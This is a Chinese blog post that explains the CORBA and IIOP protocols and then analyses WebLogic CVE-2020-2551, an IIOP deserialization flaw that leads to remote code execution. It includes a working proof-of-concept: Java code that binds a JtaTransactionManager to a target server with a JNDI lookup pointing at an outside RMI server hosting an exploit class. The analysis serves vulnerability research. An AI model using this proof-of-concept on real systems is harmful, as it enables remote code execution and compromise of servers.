zoukankan      html  css  js  c++  java
  • weblogic-CVE-2020-2551-IIOP反序列化学习记录

    CORBA:

    具体的对CORBA的介绍安全客这篇文章https://www.anquanke.com/post/id/199227说的很详细,但是完全记住是不可能的,我觉得读完它要弄清以下几个点:

    1.什么是CORBA?

    CORBA全称(Common ObjectRequest Broker Architecture)也就是公共对象请求代理体系结构,是OMG(对象管理组织)制定的一种标准的面向对象应用程序体系规范。其提出是为了解决不同应用程序间的通信,曾是分布式计算的主流技术。

    2.CORBA能干什么?

    实现远程对象的调用

    3.CORBA分为几部分?

    naming service  //个人感觉类似于RMI的注册表服务
    client side
    servant side

    4.CORBA的通信流程是怎样的?

    从大体上了解通信流程是怎样的,这里借用里面的图:

    1.启动orbd作为naming service,会创建name service服务。
    2.corba server向orbd发送请求获取name service,协商好通信格式
    3.orbd返回保存的name service
    4.corba server拿到name service后将具体的实现类绑定到name service上,这个时候orbd会拿到注册后的信息,这个信息就是IOR。
    5.corba client向orbd发起请求获取name service。
    6.orbd返回保存的name service。
    7.corba client在name service中查找已经注册的信息获取到“引用”的信息(corba server的地址等),通过orb的连接功能将远程方法调用的请求转发到corba server。
    8.corba server通过orb接收请求,并利用POA拦截请求,将请求中所指定的类封装好,同样通过orb的连接功能返回给corba client。

    以上1-4步主要为服务端参与,即完成服务端去注册类的信息,每个类对应一个IOR,里面包含对所注册的类的描述信息

    以上5-8步主要为客户端通过orb来获取name service,然后在注册信息中查找想要调用的类的“引用”,拿到stub,然后调用方法,经orb传到服务端被poa拦截后处理只将结果返回给客户端,所以方法执行不在客户端,为rpc(远程过程调用)

    5.CORBA用来进行数据传输的协议是什么?

    GIOP全称(General Inter-ORB Protocol)通用对象请求协议。GIOP针对不同的通信层有不同的具体实现,而针对于TCP/IP层,其实现名为IIOP(Internet Inter-ORB Protocol)。所以说通过TCP协议传输的GIOP数据可以称为IIOP。而ORB与GIOP的关系是GIOP起初就是为了满足ORB间的通信的协议。所以也可以说ORB是CORBA通信的媒介。

    6.什么是ORB?

    orb就是(Object Request Broker)对象请求代理,充当客户端与服务端通信的媒介,而客户端或服务端想要调用orb来发送/处理请求就需要Stubskeleton,这两部分的具体实现就是StubPOA

    7.什么是ORBD?

    ORBD可以理解为ORB的守护进程,其主要负责建立客户端(client side)与服务端(servant side)的关系,同时负责查找指定的IOR(可互操作对象引用,是一种数据结构,是CORBA标准的一部分)。ORBD是由Java原生支持的一个服务,其在整个CORBA通信中充当着naming service的作用,所以客户端和服务端要使用ORB,都要指定ORBD的端口和地址。

    8.什么是stub和poa?

    Stubclient side调用orb的媒介,POAservant side用于拦截client请求的媒介,而两者在结构上其实都是客户端/服务端调用orb的媒介

    9.stub的生成方式是什么?

    客户端stub的生成方式(不只以下三种):

    首先获取NameServer,后通过resolve_str()方法生成(NameServer生成方式)
    使用ORB.string_to_object生成(ORB生成方式)
    使用javax.naming.InitialContext.lookup()生成(JNDI生成方式)

    而以上三种方法都可以总结成两步:

    从orbd获取NameService,NameService中包含IOR
    根据IOR的信息完成rpc调用

    10.IOR中包含什么?

    type_id:用于指定本次(资料库或者说是引用)注册的id(实际上是接口类型,就是用于表示接口的唯一标识符),用于实现类型安全。
    Profile_host、Profile_port:servant side地址。
    Profile ID:指定了profile_data中的内容,例如这里的TAG_INTERNET_IOP所指定的就是IIOP Profile。
    Codebase:用于获取stub类的远程位置。通过控制这个属性,攻击者将控制在服务器中解码IOR引用的类

    11.CORBA数据的特点是什么?

    CORBA的数据传递与传统的序列化传输方式不同,即在二进制流中没有ac ed 00 05的标识,所以单纯从流量的角度是很难识别的,只能从流量上下文中进行识别。

    12.编写一个Java CORBA IIOP远程调用步骤:

    1.使用idl定义远程接口
    2.使用idlj编译idl,将idl映射为Java,它将生成接口的Java版本类以及存根和骨架的类代码文件,这些文件使应用程序可以挂接到ORB。在远程调用的客户端与服务端编写代码中会使用到这些类文件。
    3.编写服务端代码
    4.编写客户端代码
    5.依次启动命名服务->服务端->客户端

    由上面的话可以明白服务端挂到ORB上的类必须给客户端生成用于IIOP通信的客户端和服务端类,客户端与服务端的通信依靠着stub,stub从orb中拿

    corba的iiop需要字节编写idl接口,并且编译成java类,比较麻烦,所以有了rmi-iiop,结合了rmi的优点,RMI-IIOP克服了RMI只能用于Java的缺点和CORBA的复杂性(可以不用掌握IDL)

    rmi-iiop例子

    服务端代码:

    package com.longofo.example;
    
    import javax.naming.Context;
    import javax.naming.InitialContext;
    import javax.naming.NamingException;
    import java.util.Hashtable;
    
    public class HelloServer {
        public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory";
    
        public static void main(String[] args) {
            try {
                System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/"); //设置codebase地址
                //实例化Hello servant
                HelloImpl helloRef = new HelloImpl(); //要绑定的类
    
                //使用JNDI在命名服务中发布引用
                InitialContext initialContext = getInitialContext("iiop://127.0.0.1:1050"); 
                initialContext.rebind("HelloService", helloRef); //通过定义命名 HelloService 对应要绑定的类(实际上绑定的为实例)
    
                System.out.println("Hello Server Ready...");
    
                Thread.currentThread().join();
            } catch (Exception ex) {
                ex.printStackTrace();
            }
        }
    
        private static InitialContext getInitialContext(String url) throws NamingException {
            Hashtable env = new Hashtable();
            env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY); //初始化上下文
            env.put(Context.PROVIDER_URL, url);
            return new InitialContext(env);
        }
    }

    客户端代码:

    package com.longofo.example;
    
    import javax.naming.Context;
    import javax.naming.InitialContext;
    import javax.naming.NamingException;
    import javax.rmi.PortableRemoteObject;
    import java.util.Hashtable;
    
    public class HelloClient {
        public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory";
    
        public static void main(String[] args) {
            try {
                InitialContext initialContext = getInitialContext("iiop://127.0.0.1:1050");
    
                //从命名服务获取引用,拿到stub
                Object objRef = initialContext.lookup("HelloService"); 
                //narrow引用为具体的对象
                HelloInterface hello = (HelloInterface) PortableRemoteObject.narrow(objRef, HelloInterface.class);
                EvilMessage message = new EvilMessage(); //发送该对象到服务端,服务端收到后将会还原该对象,即调用该类的readObject
                message.setMsg("Client call method sayHello...");
                hello.sayHello(message);
            } catch (Exception ex) {
                ex.printStackTrace();
            }
        }
    
        private static InitialContext getInitialContext(String url) throws NamingException {
            Hashtable env = new Hashtable();
            env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
            env.put(Context.PROVIDER_URL, url);
            return new InitialContext(env);
        }
    }

    首先要为客户端和服务端针对HelloImpl接口生成为了进行远程调用所需要的类

     

     此时新生成了两个文件,一个tie是服务端用的,一个stub是客户端用的

     那么服务端实际上只完成的是匹配sayhello方法和反射调用,客户端主要定义了服务端可调用的sayhello方法的基本架构,那你客户端只有拿到这个stub才能调用远程对象的方法就说的通了,只要将这个类文件托管到orb上,orbd对接收到的客户端的iiop请求进行匹配,若是请求名是对应为对该类文件的绑定,则进行该类文件的分发,客户端拿到该类文件实际上就是拿到stub,然后客户端本地在通过该stub来实现所谓的远程调用

    然后再启动orbd进程,作为实际的orb操作者,监听1050端口,然后再启动服务端

     之后启动客户端调用sayhello的同时发送message对象,此时因为服务端收到message对象

    并且调用了其readObject方法,当然这里作为实验只是重写了readObject方法,那么如果服务器端本地有可以利用的gadget,并且可调用的方法的入口参数也为object类型,那么同样可以打,但是这里和之前学习rmi调用时存在的洞很类似,利用的限制条件还是比较高的,首先客户端也要有你服务器端反序列化的该类的定义,并且报名类名得完全一致才可以

     

     后面也示范了动态类加载的机制,也就是和rmi一样,反序列化过程中本地找不到需要的class将去codebase指定的地址进行记载。

    Weblogic中的RMI-IIOP

    Weblogic默认是开启了iiop协议的,但是如果想要如上述流程来打weblogic,那么就要找到weblogic中绑定到orb的类必须得给客户端和服务端生成远程调用的两种类,然而Weblogic默认绑定了远程名称的实现类没有为IIOP实现服务端类与客户端类,但是没有绑定的一些类却实现了,所以默认无法利用了的正是服务端去绑定类的时黑名单的绕过,weblogic安装可以参考https://blog.csdn.net/acmman/article/details/70093877这篇文章,因为要对weblogic进行debug,因此在user_projectsdomainsase_domain的startWebLogic.cmd文件中中设置debug标志

     

    接下来配置idea,添加debug要依赖的jar包

    添加debug链接选项,端口就写上面weblogic开的debug端口

     

    poc:

    public class Main {
        public static void main(String[] args) throws Exception {
            String ip = "192.168.3.247";
            String port ="7001";
            String rmiurl = "rmi://192.168.3.199:1099/Exploit";
            String rhost = String.format("iiop://%s:%s", ip, port);
            Hashtable<String, String> env = new Hashtable<String, String>();
            env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");
            env.put("java.naming.provider.url", rhost);
            Context context = new InitialContext(env);
            
            JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
            jtaTransactionManager.setUserTransactionName(rmiurl);
            context.bind("tr1ple", jtaTransactionManager);
    
    }
        }

    这里用到了一个入口类org.springframework.transaction.jta.JtaTransactionManager,该类在之前在spring里就爆出过jndi

    spring-jndi:

    先本地测试一下这个类:

    这里需要添加两个依赖:

        <dependency>
            <groupId>org.springframework</groupId>
            <artifactId>spring-tx</artifactId>
            <version>4.2.4.RELEASE</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/org.springframework/spring-context -->
        <dependency>
            <groupId>org.springframework</groupId>
            <artifactId>spring-context</artifactId>
            <version>4.2.4.RELEASE</version>
        </dependency>

    调用栈如下所示:

     

    那么首先进入该类的initUserTransactionAndTransactionManager方法中

     

    然后将进入this.lookupUserTransaction方法中,因为this.userTransaction默认为null

     

    那么此时就看到熟悉的lookup函数了,并且此时的userTransactionName又是可控的,所以妥妥的JNDI注入

     

     

    那么本地起个rmi referver即可,那么在getObjectFactoryFromReference函数中就会到rmi server指定的codebase去加载工厂类

    最终通过newInstance实例化工厂类从而触发calc

     

     

     

    cve-2020-2551:

    首先根据poc的bind函数下端点,看一下要进行什么操作,因为在获取上下文时poc已经要与orb进行一次通信,所以此时数据包:

    首先客户端192.168.3.199向weblogic 192.168.3.247请求locaterequest,这里实际上是请求nameservice

    然后orb返回的数据包中包含命名上下文和ior

     

    然后步入bind函数:

     这里实际上是调用orb返回的命名上下文将我们指定的JtaTransactionManager实例向orb进行绑定

     接下来在bind_any函数中进行序列化数据的构造,这里可以看到weblogic用的序列化输出流是iiopOutputstream,所以在网络中传输的数据流中是看不到原生objectoutputsteam的magic头部的

    接着调用iiopOutputstream的write_any函数写入jta类,进一步在weblogic/corba/idl/AnyImpl的write_value中写入序列化数据

    接着调用_invoke发送序列化数据

    并最终调用EndpointImpl的send函数发送上文构造的iiopoutputstream,可以看到里面的giop数据已经在本地构造完成,所以此时199将给orb发送一条giop消息,进行jta类实例的绑定

    那么此时对于weblogic而言应该接受到了giop消息,所以要对其进行处理,那么序列化用的是iiopoutputstream,那么反序列化应该用的是iiopInputstream输入流,因此找到该类的read_any处下断点并发送poc

     

     和序列化相对应,此时实例化AnyImpl实例调用其read_value读取序列化数据,并且在ValueHandlerImpl.readValue中从iiopStream中拿到objectInputstream然后调用jta类的readObject进行反序列化

     

    接下来就是之前讲的spring的jndi,weblogic加载Exploit.class从而进行rce

     

     

    调试时注意问题:

    因为这里实际上是模拟服务端来向orb绑定,因此服务端相对于orb来说也是一个客户端,这里要用到orbhelper来获取命名服务

    而getORBhelper里面会判断当前是不是瘦客户端

     

     因为要模拟服务器端所以,这里必须让thinClient为false,因此这个静态代码快必须到捕获异常块

    总结: 

    整个攻击过程就是假冒服务端来进行类实例的绑定而与weblogic进行giop通信发送序列化数据,而weblogic接收到序列化数据再进行实例还原,整个流程没问题,主要还是weblogic本身在反序列化是没有对类黑名单做好限制。当然在分析过程中抓包来分析通信也更能清晰了解网络通信流程,也更有助于我们理解漏洞原理。

    weblogic-cve-2020-2551 IIOP反序列化导致远程代码执行漏洞,主要是IIOP支持RMI方式的远程方法调用,所以在CORBA这种通信架构中可以伪造服务端和ORB通信,在获取到context后,绑定恶意的远程调用类到ORB,加上黑名单校验不严,存在springboot的jndi注入的gadget,因此导致回连恶意的rmi server造成加载我们构造的任意字节码来RCE

    参考:

    1.https://www.anquanke.com/post/id/196555 讲java corba的文章

    2.https://www.anquanke.com/post/id/175738  基于攻击流量和日志对Weblogic各类漏洞的分析思路

    3.https://www.anquanke.com/post/id/177546  WebLogic 多个CVE XXE漏洞分析

    4.https://www.anquanke.com/post/id/180725   浅谈Weblogic反序列化——XMLDecoder的绕过史

    5.https://www.anquanke.com/post/id/195865#h2-2  t3反序列化

    7.https://www.anquanke.com/post/id/199227 讲corba的原理

    9.https://www.anquanke.com/post/id/184068#h2-14 讲weblogic 很详细

    10.https://blog.csdn.net/acmman/article/details/70093877 weblogic安装

    11.https://www.anquanke.com/post/id/199966 cve 2020-2551 

    12.https://xz.aliyun.com/t/7374#toc-9  cve 2020-2551 

    13.https://www.anquanke.com/post/id/199695#h3-2   cve 2020-2551

    14.https://www.anquanke.com/post/id/197605  iiop反序列化

  • 相关阅读:
    js大文件上传(切片)
    前端大文件上传(切片)
    vue大文件上传(切片)
    网页大文件上传(切片)
    web大文件上传(切片)
    FCKEditor 实现ctrl+v粘贴图片并上传、word粘贴带图片
    umeditor 实现ctrl+v粘贴图片并上传、word粘贴带图片
    百度web编辑器 实现ctrl+v粘贴图片并上传、word粘贴带图片
    百度编辑器 实现ctrl+v粘贴图片并上传、word粘贴带图片
    百度ueditor 实现ctrl+v粘贴图片并上传、word粘贴带图片
  • 原文地址:https://www.cnblogs.com/tr1ple/p/12483235.html
Copyright © 2011-2022 走看看